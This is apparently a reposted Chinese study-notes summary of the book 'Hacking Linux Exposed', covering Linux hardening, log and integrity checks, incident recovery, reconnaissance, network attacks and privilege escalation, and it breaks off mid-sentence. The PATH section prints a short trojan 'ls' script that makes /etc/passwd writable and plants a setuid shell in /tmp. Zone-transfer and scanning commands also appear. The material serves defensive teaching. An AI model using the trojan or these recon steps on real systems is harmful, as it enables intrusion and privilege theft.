|生命中医网|网站总纲|网上教室|生命中医论坛| 会员聊天室| 中医术数源流图|多年五运六气推算|网站使用及简介|
分类:杂汇文章
字号:
修改
Linux黑客大曝光.txt

中人

Linux黑客大曝光


我的评价:
本书讲述了linux安全的方方面面,并且以一问一答的方式介绍,思路清晰。文中提供了很
多有益的安全提示,是Linux系统维护人员的必备参考书。通过本书,你能了解到linux安
全的整体概念,从系统安全到应用安全,从单机安全到网络安全。但安全问题是一个不断变
化不断更新的过程而不是一个解决方案,所以本书只是提到当时为人所发现的安全问题的介
绍,新出现的安全问题可参考该书网站的更新和网上的安全警告。

第一章 linux安全问题概述
粘着位(Sticky bit)
如果用户对目录有写权限,则可以删除其中的文件和子目录,即使该用户不是这些文件的所
有者,而且也没有读或写许可。粘着位出现执行许可的位置上,用t表示,设置了该位后,
其它用户就不以删除不属于他的文件和目录。但是该目录下的目录不继承该权限,要再设置
才可使用。
# chmod 1770 xxx

文件属性
chattr命令修改
lsattr命令列出文件属性

文件属性定义
A 不要更新atime文件,当在笔记本电脑或NFS上限制磁盘I/0流量时,很有用,除2.0
系列外,这一属性不被其它内核支持。
a 文件仅能以追加方式打开,只有root才能设置这个属性。
c 文件保存在磁盘时,内核将自动压缩该文件。
d 文件标记,使其不能被转储。
i 文件不能被修改,删除或重命名,不能创建任何指向它的链接,并不能写入任何数据。
s 删除文件时,相应的磁盘存储块清零。
S 修改文件时,对其写入进行同步。
u 删除文件时,保存其内容。

Ulimit命令
设置限制 可以把命令加到profile文件里,也可以在/etc/security/limits.conf文件中定义
限制。
命令参数
-a 显示所有限制
-c core文件大小的上限
-d 进程数据段大小的上限
-f shell所能创建的文件大小的上限
-m 驻留内存大小的上限
-s 堆栈大小的上限
-t 每秒可占用的CPU时间上限
-p 管道大小
-n 打开文件数的上限
-u 进程数的上限
-v 虚拟内存的上限
除可用Ulimit命令设置外,也可以在/etc/security/limits.conf文件中定义限制。
domino type item value
domino是以符号@开头的用户名或组名,*表示所有用户,type设置为hard or soft。item指
定想限制的资源。如cpu,core nproc or maxlogins
。value是相应的限制值。

信号
# kill -TERM XXXX 终止信号
# kill -HUP HTTPD 重读配置信号

特权端口
root用户是可绑定端口小于1024的惟一用户。可以信任来自于远程机器端口小于1024的连
接。



第二章 预防措施与从入侵中恢复
系统安全
简单的FIND命令
# find / \(-perm -02000 -o -perm -4000 \) -ls 可以找出系统中所有的setuserid and setgroupid
程序。
在最严格的情况下,可以去掉除/bin/su外所有已安装程序的setXid位。

系统安全扫描工具 cops tiger Nabou

扫描检测器
黑客入侵系统前所做的第一件事就是从网络上扫描系统,扫描检测器能及时获知,是一个良
好的入侵检测系统(IDS)
Klaxon Courtney Scanlogd PortSentry

加固系统
Bastille项目创建了一组模块来加固新近发布的REDHAT。在安装完系统后可运行该补丁,
在什么时候都可运行,不必要一定是刚安装完系统。
加固的方法是:1、下载源代码到/root目录并解包。以root身份动行InteractiveBastille.pl脚
本。在回答完问题后,程序将做出相应改动。配置完成后,该工具把其保存在BackEnd.pl
中,如果希望加固同样配置的服务器,将它复制到新服务器并运行AutomatedBastille.pl即可。

Openwall Linux补丁
它是一个内核补丁。要这些补丁起作用,用户必须重新编译和安装新的打上补丁的内核。在
某些情况下,这些内核补丁和标准linux不完全兼容,因此在决定使用前必须确信理解其含
义。


LIDS
它包括内核级的端口扫描检测程序和安全警告程序。是内核补丁(现在适用于2.2.X和2.4.X,
但以后将不再支持2.2)和系统管理工具。其特性包括:
1、高级文件保护,甚至root也不能发现和处置受LIDS保护的文件。
2、进程保护,内核拒绝向受保护的进程发送信号(例如SIGKILL),进程也可以被完全隐
藏起来,在/proc下不会存在任何痕迹。
3、更好的访问控制,更有效地使用与特权相关的权能,包括禁止root更改这些权能。
4、内置式端口扫描检测,内置于内核的扫描程序能够检测到Nmap,SATAN等工具的绝大
部分扫描。
要安装LIDS,必须下载最新的linux内核正式版和LIDS源代码。使用LIDS给内核打上补丁,
然后重新编译内核。

日志文件分析
syslogd消信可标记为特定的功能和级别,在/etc/syslog.conf文件中可以根据这两个选项来设
置消信的去向。

syslogd功能 描述
auth 安全性/验证消息(负面)
authpriv 安全性/验证消息
cron cron and at
daemon 其它系统守护进程(sshd,xinetd,pppd等)
kern 内核消息
lpr 行打印系统
mail 邮件子系统(sendmail,postfix,qmail等)
news Usenet新闻消息
syslog 内部syslog消息
user 一般用户级消息
uucp UUCP子系统
local0-local7 自定义的级别

日志级别 描述
emerg 系统已不可用
alert 必须马上采取行动
crit 危急
err 错误
warning 警告
notice 普通但重要的情形
info 通知消息
debug 调试消息

syslog.conf每一行的配置格式为
facility.loglevel logtarget,所有字段用tab隔开
例子:
daemon.notice /var/log/daemon.log 把程序发送过来的功能为daemon,优先级为notice
或更高级别的所有日志消息记录到/var/log/daemon.log文件中,可以使用*号表示匹配所有功
能或日志级别。
目标 描述
/path/to/filename 将消息附加到所指定文件的文件尾,这是最常用的情形。
@loghost 写到loghost机器上的syslog服务器。可方便把日志发来多台机器上,
|/path/to/named_pipe 写到指定的命名管道(便于用外部程序过滤消息)。
user1,user2 写到所列用户。
* 写到所有登录用户。
/dev/console 写到已命名的终端。

日志文件许可
应设置日志只为root所有和写入,同时能够被log组(或你所希望的组)读取,而其他用户
没有任何权限。一个用户在输入用户名的地方使用了口令,在登录失败时,将会把用户名(在
此例中为口令,因为用户失误)记录到日志中。然后创建一个属于log组的虚构用户,并让
所有日志检查程序以该用户而不是root运行。日志检查程序不应当以root用户运行。
可以通过日志分析软件开监控日志,如logcheck,swatch和logsurfer。但最好的工具还是管理
员自已写的脚本。

文件系统完整性检查
修改文件系统是黑客在侵入系统之后经常要做的一件事情,下面列出了经常被修改的一些文
件:
类型 例子
服务器配置文件 /etc/inetd.conf,/etc/ftpaccess
网络配置文件 /etc/host.conf,/etc/sysconfig/network
系统配置文件 /etc/ld.so.conf,/etc/nsswitch.conf
crontab /etc/cron.daily/*,/var/spool/cron/root
setuserid程序 /bin/su,/bin/ping,usr/bin/chfn,/sbin/dump
setgroupid程序 /sbin/netreport,/usr/bin/lpr,/usr/bin/write,/usr/bin/man
如果知道机器何时被入侵,就可以判断修改时,并了解哪些东西被修改了,例如想知道在9
月17日发生的侵入事件中被修改的所有文件,可以执行如下命令:
# touch 09170000 /tmp/comparison
# find / \( -newer /tmp/comparison -o -cnewer /tmp/comparison \) -ls
但记住,检查文件时间所给出的统计结果是不可靠的,touch命令可以更改任何文件的修改
时间(mtime)和访问时间(atime).

校验和
校验和是一个使用数学算法生成的字符串,可以用来判断两个文件是否相同,即使在一个文
件中只改动了一位,它们的校验和也会不同。通常
用md5sum命令。
# md5sum xxx

文件许可
通过检查文件许可,用户可以知道修改发生的时间,并判断其行为是合法,意外还是恶意的,
同时确定其对系统的影响。

生成校验和与许可数据库
在黑客入侵系统前生成文件的校验和,下面是一个快捷的perl脚本,能够使用户生成自已
的文件许可和校验和数据库(文本)。
#!/usr/bin/perl

use MD5;
require 'find.pl';

$md5 = new MD5;
@dirs = @ARGV;
for $dir ( @dirs ) { find($dir);}
sub wanted { push @files,$name;}

for $name ( sort @files ) {
($uid,$gid) = (stat $name)[4,5];
$stat = sprintf "%0o",(stat _)[2];
unless ( -f $name ) {
printf "$stat\t$uid $gid\t\t\t\t\t\t$name\n";
next;
}
$md5->reset();
open FILE,$name or print(STDERR "Can't open file $name\n"),next;
$md5->addfile(FILE);
close FILE;
$checksum = $md5->hexdigest();
printf "$stat\t$uid $gid $checksum\t$name\n";
}
生成的数据库尽量不要放在本机上,要放在其它机器上或一次写多次读(CDR)的机器上。

现有的文件完整性工具 Tripwire AIDE Nabou

如何知道系统何时被黑
发现系统被入侵的方法:
1、主页变化
2、磁盘空间的急剧减少 用df工具查看磁盘使用情况
3、频繁地使用网络 使用netstat -na 或lsof输出,检查存在什么连接
4、来自其它管理员的联系 当你的机器被用于攻击其它机器时
5、混杂模式的网络接口 如果黑客想嗅探系统中可用的网络服务,会把网络接口设置
为混杂模式(捕获所有的包)。请检查 ifconfig -a输出的promisc以确定接
口模式。
6、抹去/截断的日志文件 检查syslog
7、被破坏的utmp/wtmp
8、系统中存在的新用户 黑客通常使用与现存的用户名相近的名称以减少被发现的
机会,例如与lp近似的lpr或uucp1等。或者
黑客方言中的名字,如t00r and own3d.
9、正在运行的陌生程序
10、不能解释的CPU使用情况
11、本地用户的远程帐号被破解
12、“看起来古怪”的事情

被入侵后应采取的措施
制止损害
1、 关闭所有网络接口,使黑客对系统丧失了交互行为的能力,但那些正在运行的进程仍然
2、 会继续运行。
3、 将系统切换到单用户模式,关闭所有正式的root进程和所有用户进程,任何剩下的进程
4、 可能就来自于黑客。
3、使用未被损害的linux启动盘重启系统。以只读模式加载系统,检查系统,以查看黑客
所动的手脚。
4、进行严重损害的控制。

破坏估计
以只读模式挂上所有分区,并记录所发现的任何事情。
1、找到可疑的文件和目录 口令文件,黑客工具和任何你没有放置在系统中的目录。这
些目录在你重启前可能是不可见的。
2、定位新的setuserid程序 任何新的setXid程序(尤其是属于root的)都极有可疑。
3、检查时间戳 检查黑客入侵之后发生变化的文件。
4、阅读日志文件 检查所有日志文件。
5、验证校验和 比较黑客入侵前后的校验和数据库。
6、验证所安装的软件包 确认正确的版本,黑客可以把软件降级,以让系统使用不安
全的版本。
7、手工验证配置文件 快速浏览,以确定变化,如web以root用户运行,或在
/etc/inetd.conf中出现了额外的服务器。
8、备份文件
9、特殊工具 有很多工具可以帮助检查系统,最新的是组件是coroners toolkit。
10、通知权威机构。

在线恢复
在确定了黑客行为后,有两个选择,1、堵上漏洞并对系统被篡改部份启用备份;2、重新安
装系统。最安全的方法是完全重新安装系统。

文章出处:http://www.diybl.com/course/6_system/linux/Linuxjs/200888/135117.html

仅仅堵上发现的漏洞并继续运行通常要快得多,但是,你可能并不能确定黑客在系统中所做
的所有事情。黑客可留下在几个月后才发作的时间炸弹,也可能修改了系统二进制代码,使
其运行不稳定。因此,我们建议的把黑客从系统中清除出去的最好方法如下:
1、对重要文件进行备份。
2、完全格式化所有驱动器,(这也是对系统进行任何改变的最佳时间,例如添加硬盘或改变
分区大小,要充分利用停工期的有利条件)
3、从头安装linux版本,并且只包含那此必需的东西。
4、对已安装的软件包进行完全升级。
5、生成校验和并将之保存在安全的地方。
6、对配置文件进行必要的手工修改。不要仅仅从备份中复制这些文件,它们可能已经被改
变。
7、从备份中复制必要的文件。
8、重新检查从备份中安装的文件,确认其没有被破坏的迹像。
9、使用另一种方法计算文件系统的校验和。
10、第一次启用网络。

对于实际或觉察到的攻击,常用的对策是取消发动攻击的机器与本机通信的能力。具体做法
有如下几种:
1、使用tcp封装器,拒绝来自黑客ip的连接。
2、使用iptables规则,退回/拒绝来自该ip地址的包。
3、创建拒绝路由表以使本机不能和相应的ip地址通信,此时,仍然可以收到来自源地址的
包,但不能响应,从而破坏相互间的通信。
4、在防火墙上创建类似的拒绝访问列表。


第三章 对机器和网络踩点
在线搜索
新闻组/邮件列表搜索
internet上有很多新闻组/邮件列表或论坛,是向知识渊博的人请教问题的好地方,但也可能
在完全无意识下泄露了系统信息。比如公司的网络拓扑结构,安全配置情况,电话号码,管
理员名字,个人信息等。
对策:
对所发贴子要再三审读,删除任何有可能被黑客利用的信息。或使用与系统不相关的帐号发
送邮件,比如申请的免费邮箱。

whois数据库

ping扫射
ping扫射是指ping指定网络中的所有ip,如果机器正在监听ip地址,就会回应ping。从而
就知道它处于活动状态。有黑客通过这种方法列出所有正在运行的机器,然后决定攻击目标。
有两种不同的ping主机方法:ICMP ping and echo ping。可以用一些工具加速ping。其中两
个最有意义:Fping and Nmap
ICMP ping方法:源机器向目的机器发送icmp echo request.如果目标机器正在运行,则会响
应icmp echo reply。
# ping -c 3 target
echo ping方法:以udp or tcp包连接到目标机器的回显端口(端口7),如果机器在运行状态,
该端口直接回显发送过来的信息。
# telnet target.example.com echo
Fping是一个直接了当的ping工具,可以在命令行列出需要ping的机器,也可以用文件方

# Fping -a < machinelist
如果要扫描整个网络(192.168.10.X),必须提供IP列表,在命令行用perl语句可以容量实
现。
# perl -e 'for (1..254) {print "192.168.10.$_\n"}' |fping -a -q 2>/dev/null
Nmap是一种多用途的扫描工具,内置了ping扫描功能。
# nmap -sP 192.168.10.0/24
ping扫射对策
通过配置机器(iptables等)来拒绝进入的echo request包和出去的echo reply包。从而避免
响应icmp echo request。关闭本机回显服务。在/etc/inetd.conf中注释掉以下两行
echo stream tcp nowait root internal
echo dgram udp wait root internal
再重启inetd。

dns问题
在linux上,最好的dns服务器是bind,它有几个版本,如果你是先锋派,bind9.x是最佳选择,
4.x是最稳定版本,8.x则是一个不错的过滤,大部分站点都是用这个版本。请保持bind的
版本是最新,最为它的安全漏洞较多,而且一旦发现漏洞,就会很被黑客利用。
尽量不要在配置文件中包含hinfo and txt信息。
区域传送
一般情况下,为了保证dns总是可以,每个域中,都有一个主dns机器,而其它都是次级dns,
每当dns区域发生变化时,次级dns机器就从主机器复制全部内容。系统成为次级dns的方
法是在named.conf中添加如下内容:
zone "expample.com" {
type slave;
file "slave/expample.com";
masters {xxx.xxx.xxx.xxx};
};
但是黑客也可以攫取区域文件(如果没有采取措施),下例给出使用host命令列出整个域中
所有NS,A和PTR记录的方法。
# host -t ns example.com
# host -l example.com
对策:
配置主名字服务器时,使之不允许除次级服务器外机器的区域传送。在全局默认选项中设置
如下:
option {
....
allow-transfer {xxx.xxx.xxx.xxx};
...
}
警告:必须确保在主和从服务器上都禁止区域传送,因为从服务器也能接受区域传送请求。
任何未经授权的区域传送都会被syslog记录下来。

反解析是指从ip到域名的过程。可以用host命令实现。如果大量使用真实的主机名,会给
黑客知道机器的功能。所以最好在PTR记录中使用一般的反解析名如:
xxx-xxx-xxx-xxx.example.com.

端口扫描
黑客会运行一个或多个端口扫描工具来了解目标系统提供的服务。工具主要有
netcat,strobe,nmap(best)。玩转nmap可以学到很多东西。包括自已的系统,也包括网络方面。

网络漏洞扫描程序
iss,satan,Nessus

加密文件系统
CFS,TCFS,BestCrypt,PPDD,Encrypted

第四章 社交工程、特洛伊木马和其他黑客伎俩

第五章 物理攻击
物理攻击小结
1、不要把口令或访问ID记在别人可以看到的地方。
2、不要把电话本,组织结构图,备忘录,内部手册,会议安排或内部安全策略遗忘在容量
被阅读或偷窃的地方。
3、在丢弃打印文档,电子介质或客户数据时必须谨慎从事,把敏感材料标记为“敏感”,在
处理前粉碎敏感的文件和手册。抹去电子介质中的数据,并且把所有的垃圾箱放置在照明状
况良好的保护区域。
4、在标记网络设施时必须谨慎。将这些信息记录在清楚的网络图中,并将其锁起来。
5、 使用好的屏幕保护程序,确保带有口令,并且在运行时隐藏屏幕内容。将延迟时间设置
6、 为合理值---在合理时间后就运行它。
6、必须离开系统时,锁定屏幕。
7、 使用便携机时,必须尽可能在所有时间都将其带在身边。对窃贼的那些把它从你身过分
8、 开的诡计保持警惕。对进入工作场所的每个便携机贴上标签,在带离时对其进行安全检查。
8、避免使用双重启动系统,linux的安全性取决于机器中安装的安全性最差的系统。
9、在启动加载时程序中设置保护口令,防止可能获得root权限的非法重启方式。
10、设置BIOS口令,以防止其被修改。
11,将所有敏感系统放在加锁的房间,以防止破坏。
12、使用好的加密文件系统可以防止那些获得系统权限的人看到机密数据。这应当作为安全防卫的底线。

第六章 网络攻击
合法的tcp标志组合
标志组合 含义
SYN 这是tcp连接的第一个数据包,表示希望与目标系统建立连接。
SYN|ACK 目标系统通过确认原始消息和发送SYN信息来响应SYN数据包。
ACK 在连接建立期间的每一个数据包都要设置其ACK位,以确认前面收到的数据
包。
FIN 在连接准备关闭时,发送FIN给对方。
FIN|ACK 这一组合用于确认第一个FIN包,并完成关闭步骤。
RST 当系统接收到不期望的数据包时,发送RST包重置连接---例如,系统在未发出SYN
的情况下收到SYN|ACK。

ICMP类型代码
类型代码 ICMP消息
0 回波响应(响应PING)
3 目的地址不可到达
4 源终结
5 重定向
8 回波(PING请求)
11 TTL超时
12 参数问题
13 请求时间戳
14 响应时间戳
17 地址掩码请求
18 地址掩码响应

攻击错误配置的NFS导出
为了保护文件系统不被非法访问,应当让防火墙阻塞NFS,通过阻止对NFS(2049端口)
的进入连接可以做到这一点。如果内部确实需要,确保它只导出必需的文件系统。例如,在
允许远程加载用户主目录时,使用/home 替代/。为了验证是否正确配置了NFS,检查
/etc/exports和/etc/dfs/dfstab以确信没有以读写权限向外导出任何东西。

攻击Nestscape默认配置
SuiteSpot是一个工具用于管理web服务器,其中包含实现这一功能的java and javascript code.
它将Nestscape服务器的用户名和口令配置保存在服务根目录下的文件中,默认可被任何人
读取。位于/web_server root/admin-serv/config/admpw。在网络上使用web浏览器并将url指
向该文件,就可获得。文件格式为user:password。虽然这个文件是加密的,但可以对口令进
行蛮力攻击。所以应保护admpw文件,

攻击配置错误的Squid服务器
Squid可以被错误地配置成允许外部地址作为访问内部系统的代理。这使攻击者能够以该服
务器为代理来察看或访问内部网络,即使其地址不能被路由。squid.conf文件的一个错误配
置如下:
tcp_incoming_address <squid system external address>
tcp_outgoing_address <squid system internal address>
udp_incoming_address <squid system external address>
udp_outgoing_address <squid system internal address>
对策:
首先设置正确的防火墙规则以阻塞外部地址对端口3128(代理端口)的连接。然后编辑配
置文件,确信下面这些内容的正确性。
tcp_incoming_address <squid system internal address>
tcp_outgoing_address <squid system external address>
udp_incoming_address <squid system internal address>
udp_outgoing_address <squid system external address>

x windows system
它使用端口6000---6063
攻击错误的X 配置。xhost工具用于保障X的基本安全性,用户可以使用这一程序指定允
许连接本地X服务器的系统。如果不带参数执行,则列出所有允许连接的系统,可以通过
如下命令添加新和系统。
# xhost + <system name>
如果省略system and name,则任何系统都可以建立连接。这样入侵者可以通过xkey程序记
录用户在X窗口介面上的所有击键序列。另一个类似程序是xscan,可以扫描网络以查找X
系统的漏洞。
对策:
主要是在防火墙上阻塞端口6000--6063。
# ipchains -A input -p tcp -j DENY -s 0.0.0.0/0 -d 0.0.0.0/0 6000:-6063
如果不允许阻塞,可以-auth参数启动xinit程序。则系统将在认证时使用“magic cookies”。
或者以ssh传送X会话。使用X11的ssh时,远程root用户对本地X服务器拥有全部权限。
在双方信任时才使用X11的ssh。

默认口令
Prianha
red hat提供的用于linux 服务器的Prianha虚拟服务器和平衡软件包。在Prianha-gui程序的
0.4.12版中存在一个名为prianha的帐号,其默认口令为q。
对策是修改所有系统和网络设备的默认口令。

嗅探网络信息
嗅探器工作时,将网卡设置成所谓的混杂模式,在该模式下,网卡会将每个帧的数据都传送
给协议而不检查其MAC地址。这样,系统中的嗅探器就能够检查帧中的数据,并摘取感兴
趣的信息。其中包括报头信息或其它信息,如口令和用户名。很多协议以未加密方式发送敏
感信息,因此黑客就能够使用嗅探器获是系统的访问权限。如telnet,ftp,http中的口令和用户
名都直接在网络上传播,此外,一些基于web的管理工具也以一般的http协议来传送用户
名和口令,例如webmin就是这样的。避免受到嗅探器危害的最好办法是不要在网络上以未
经加密的方式传送用户名和口令,通过使用ssh 代替telnet,用https代替http传送敏感信息
可大大加强安全性。
常见的嗅探器
tcpdump,hunt,linux-sniff,snort

口令猜测
在大多数linux中,口令长度被限制在8个字符。如果只能使用小写字母,则总畏惧26的8
次方(大约2090亿)种组合,如果允许使用大写字母和数字,则有62的8次方(大约218
万亿)种组合。
对策:
保护系统帐号,关闭finger and rwho服务。限制root只能从控制台登录。可以通过修改
/etc/securetty文件做到这一点。这个文件列出了root可以登录的tty(终端),在该文件中只
包括tty1--tty6,就能限制root只能从控制台登录。如果从该文件中删除所有行。则任何人
在获得root权限前必须首先以其他用户登录,然后使用su。修改/etc/login.def中的最小口令
长度。

缓冲区溢出漏洞
当开发者在程序中采用错误的方法编写操作代码时,则可能导致缓冲区溢出。罪魁祸首多半
是标准C语言中的字符串函数。例如strcat(),strcpy(),sprintf(),vsprintf(),scanf() and gets()。这
些函数在执行前不检查参数的大小。常见的攻击所针对的程序有
rpc.mountd(nfs),rpc.statd(nsf),imapd/popd,wu-ftp。一旦对系统尝试了缓冲区溢出攻击,通常会
从日志消息中看到这类行为。
对策:
对于不必要服务,关闭它们,或者在防火墙阻塞对其访问。如果服务是必须的,就只有一个
对策,就是使系统应用最新的补丁。

netstat,lsof工具能识别系统中运行的进程序,打开的端口等信息。但这些程序都不可靠,可
能会被黑客替换。可以用nmap从外部扫描系统以训别服务,因为从外部扫描,所以不会被
黑客在系统中所做的手脚所欺骗。
# nmap -sT -O xxxx 对本系统进行tcp扫描。
# nmap -sU -O xxxx 对本系统进行udp扫描。

第七章 恶意使用网络
DNS攻击
bind缓冲欺诈
dns是一个分布式系统,使用缓存来降低网络负载,在BIND8.1.1 和4.9.6版中存在一个问
题,即它们没有验证接收自其它名字服务器的信息的合法性。黑客利用这个漏洞可以在目村
服务器中插入伪造记录,引导客户到黑客的机器上来。从而捕获口令和敏感信息。

路由问题
源路由,允许发送者指定数据包到达目的地前在internet上经由的路径。这一特点对于网络
勘探很有用,但也能用来绕过安全网关和地址转换。
# cat /proc/sys/net/ipv4/conf/eth0/accept_source_route 0 表示不允许 1 表示允许

不正确的ip转发
/proc/sys/net/ipv4/ip_forward文件配置ip转发。0 表示禁止 1 表示允许。这个功能对于防
火墙和ip伪装网关是必要,但对于名字服务器,邮件服务器或堡垒主机则不必要。可能如
下禁止:
# echo 0 > /proc/sys/net/ipv4/ip_forward /etc/sysctl.conf的 net.ipv4.ip_forward = 0控制系统
启动时是否允许。

Hunt
同时具有数据包嗅探和会话劫持功能。
对策:
采用openssh。
dsniff
是一组优秀的网络审计,测试和嗅探工具。
sshmitm
对客户端伪装成ssh服务器,而对服务器伪装成ssh客户端,默认时,它将记录所有用户名
和口令。
对策:
sshmitm依赖于用户忽略对ssh主机密钥的检查,当第一次连接服务器时,将会在
$home/.ssh/known_hosts中添加主机密钥。应当比较这份密钥与实际服务器密钥(通常在文
件/etc/ssh/ssh_host_key.pub or /etc/ssh_host_key/.pub中)的一致性。如果两者不匹配,则说
明黑客已经介入过刚才的会话。并获得了口令,应马上断开连接,并通知系统管理员重新设
置口令,以防止帐号被黑客滥用。为了防止在无意中使用潜在不安全连接,应配置ssh进行
强制的主机密钥检查。即将如下几行写入到$home/.ssh/config的起始处。
Host *
StrictHostKeyChecking yes
也可以将系统的全局ssh_config文件配置成StrictHostKeyChecking.
目前,Sshmitm仅支持ssh版本1,但并不保证支持ssh版本2的软件不在开发中。

Webmitm
它的工作方式和sshmitm很相似,它监听端口80(http),和443(https)。中继对于实际服
务器的web请求。并将结果返回给客户端。因为webmitm没有真实的ssl服务器证书和密钥,
所以必须伪造一个。因此,当第一次运行webmitm时,它将生成一个与openssl相关的ssl
密钥和证书。当用户连接https站点时,其浏览器将试图验证所得到的ssl证书,而webmitm
服务器所创建的证书未经浏览器数据中保存的某一可信官方机构颁发签名。因此浏览器将弹
出一系列对话框,以确认用户是否要连接到可能的欺骗站点。如果用户点击并忽略所有警告,
就能够像一切正常那样访问web站点。然而,该会话实际上流经webmitm程序,使用其能
访问所有数据。
对策:
和sshmitm一样,比技术问题更重要的是用户培训。当浏览器给出众多Are you sure?这样有
价值的提问时,不要简单的点击Yes。

SYN潮涌攻击
根据tcp/ip协议的规定,在收到最初的SYN数据包时,服务器TCP协议栈将相应的半连接
记录添加到队列里。然后等待一会以接收余下的握手数据包。如果成功则从队列中删除该记
录。

文章出处:http://www.diybl.com/course/6_system/linux/Linuxjs/200888/135117_2.html
由于队列容纳半连接记录的数量有限,因此如果许多初始化的连接最终没有成功握手。
就会出现问题,一旦队列已满,服务器将不再接收新的连接。当攻击者能够以足够快的速度
向目标服务器发送SYN数据包以填满该队列,就能够阻塞任何tcp服务。这就是SYN潮涌
攻击。如果web服务器不再接受请求,或者甚至连本地连接也变慢,就应使用netstat -nat 来
检查处于SYN_RECV半连接状态的连接。一旦发现系统正受SYN攻击。可以用如下shell
脚本跟踪半连接数量:
#!/bin/sh
while [1] ; do
echo -n "half-open connectons:"
netstat -nat |grep SYN_RECV|wc -l
sleep 1
done
如果为零,说明攻击者放弃了。如果发现数目达到最大值并趋于平衡,就很不幸了,队列可
能已经满了。
对策:
升级到2.0.29以上版本,在这些版本中增加了队列容量。并缩短了超时值,从而更加难以填
满。此外,修改/proc下的某几项,以缩短等待SYN|ACK的超时时间并增加队列中SYN数
据包的最大数目。
/proc/sys/net/ipv4/vs/timeout_synack
/proc/sys/net/ipv4/vs/timeout_synrecv
/proc/sys/net/ipv4/tcp_max_syn_backlog
在受攻击中,可以增加tcp_max_syn_backlog的值,减少timeout_*的值。改变这些值会导致
丢失合法连接,但是如果不对SYN攻击采取措施,系统将失去所有连接。

实施出口过滤
很多攻击方法都是依赖ip地址欺骗,以掩盖攻击策源地或将响应流量引导到实际并没有发
出请求的主机,出口过滤(egress filtering)是阻止欺骗的最重要途径。一个连接不同网络的
路由器应该检查所有的外出流量,只有当数据包拥有相应的本地网络合法地址时才允许它通
过。这看起来理所当然,但确实有许多网络允许任何源地址的数据包通过。

第八章 提升用户权限
setuserid程序以所有者id而不是以使用者id的权限运行。
setgroupid程序以组id权限而不是调用者id权限运行。

在path中包括“.”的坏习惯
在path中包括“.”可以减少用户的击键次数,以foo 代替 sh foo或./foo。这些做法有很大
的危险。例如,在/tmp中创建如下的ls文件。
#!/bin/sh -
#fake trojan ls
if chmod 666 /etc/passwd > /dev/null 2>&1 ; then
cp /bin/sh /tmp/.sh
chmod 4755 tmp/.sh
fi
exec ls "$@"
#end of script
如果在环境变量中设置了“.”,并且其位置先于ls所在的系统目录,那么当用户在/tmp中执
行命令ls时,执行的是上面所给出的脚本,而不是实际的ls命令。因为最终还是执行了ls,
所以用户不会看出任何异常。如果执行该命令的是root,就会将口令文件设置成为可写,并
将shell复制到/tmp保存成.sh,同时设置其setuserid位。所有这一切都非常安静地发生。在
登录时可以在多个地方修改path,例如/etc/profile or /etc/profile.d中的脚本。手工修改较麻
烦,且容易出错。建议在bashrc 或.profile文件的未尾加如下一行:
PATH=`echo $PATH |sed -e 's/::/:/g; s/:.:/:/g; s/:.$//; s/^://'`以删除路径中所有“.”,包括其另一形
式“::”

明文的口令
去掉用户文件中的的口令,如fechmail中的控制文件。如果必须那样做,应确保文件只能被
所有者读取,而不能被组成员或其它人读取。

存储在系统文件中的口令
有些系统程序可能需要存储在系统文件中的口令,例如samba软件包内有一个smbprint的
工具,允许linux使用与windows相连接的打印机。通常
对于拔号上网用户,链接所需的用户名和口令通常保存在某个文件中,一般ppp将在
/etc/ppp/chap-secrets文件中查口令,而Wvdial则在/etc/wvdial.conf中查找。使用chmod 600
filename来限制文件。使用只能被root读取。

使用用户名和口令来控制这种对打印机的访问。要保护保存的smbprint口令,必须确保并
非所有用户都能读取/var/spool/lp下的每个config文件,在/var/spool/lp目录下查找所有
的.config文件,对每个文件执行chmod o -rw。

可逆的口令
pop3通常以纯文本格式在网上传输用户名和口令认证信息。这不是一件好事,一人替代方
式是使用名Popauth的认证方法。Popauth将所有口令以某种可逆的加密方式处理后保存在
数据库中。如果攻击者能够访问该数据库,则系统中所有用户和口令将受到威胁。如果可能,
就不要使用popauth,许多pop3客户端支持ssl加密方式,尽可能使用ssl加密为用户的认
证提供保护,如果必须使用popauth,则要确保/etc/popauth只能被root读取。

命令行中的口令
某些实用工具,例例如smbmount and smbclient,允许通过命令行或环境变量传递口令。这
样可以通过使用ps命令或者直接读取/proc下的文件来获得口令。所有输入命令都会保存在
shell历史文件中.bash_history。无论如何都要避免在命令行输入口令。并且周期性于清除历
史文件,以避免命令和安全信息的长期积累。如果要运行某些不想被记录的命令,可以反置
环境变量中的hisfile以关闭历史记录功能,然后打开一个新的shell。

可写的组许可
一个主组的成员被入侵,会增加组中其它成员的安全威胁。每个用户应该有自已惟一的主组,
并且该组只有他一个用户,然后所有的用户在创建文件时都使用这个惟一主组,除非修改了
组所有权,通过次级组来解决共享文件的访问的问题。用户的umask设置应当严格设置为
安全值,以避免文件创建后就能够被默认组所读写,将umask设置为066就可以保证文件
创建后只有所有者才有读写权限。而组成员和其它人都不能读写该文件。在极端的情况下,
可以使用077的umask。这一默认umask使得文件只能被root或者root权限的用户访问。

特殊用途组和设备访问
攻击者通常在/dev下查找许可设置不当的设备,他们能够利用这些情况来访问内存,磁盘或
串行调协。并以此为基础,进一步入侵系统和敏感文件。例如,通过/dev/kmem可以访问内
核存储区,对该文件有读权限的攻击者就可以从中读取系统当前使用的任何数据。如果磁盘
分区(如/dev/hda1)可读,则攻击者就能够读到原始的磁盘数据。她可以使用/sbin/dump直
接得到该分区下所有文件的拷贝。变这样可以绕过所有的文件许可。而且所有文件,包括
/etc/shadow等文件都可以读取,而不需要root权限。如果用户需要访问只有root才有权访
问的特殊设备文件时,应当考虑使用Sudo。

wheel组
它是系统上一个特殊的组,在启用wheel组的系统中,只有该组的成员才能su成root,即
使root口令被破解,如果用户不是wheel组成员,就不能运行su而进入root。对于远程root
登录,将这一制约手段和/etc/securetty文件相结合,可以增强系统安全性并保护最重要的root
帐号。使用它的缺点是它为攻击者确定那此更有价值和权限的帐号提供了线索。即使预定义
了wheel组,多数linux系统并不自动启用wheel组的访问控制功能 。对于支持pam的系
统,只要在适当的pam控制文件中(/etc/pam.d/su)添加pam_wheel行,就可以支持wheel
组。

sudo
sudo是一个常用工具,用于分担管理员的某此权限。使用sudo,可以允许特定用户执行通
常必须是root用户才能运行的特定管理任务。例如,可以授权某此用户添加,删除或修改
用户或它们自已的口令。

sudo更改口令
通常,根据系统管理员授权,普通用户能够运行passwd命令,运行该命令时,该用户能修
改任何口令,包括root,这显然是一个问题,我们应该创建一个前端脚本以检查与口令相对
的用户名确认其修改的合法性。一般而言,系统用户的id号要小于某个预设值(通常是200
或500)。如果试图修改的id号小于最小值,脚本应当产生一个错误。根据系统策略,这个
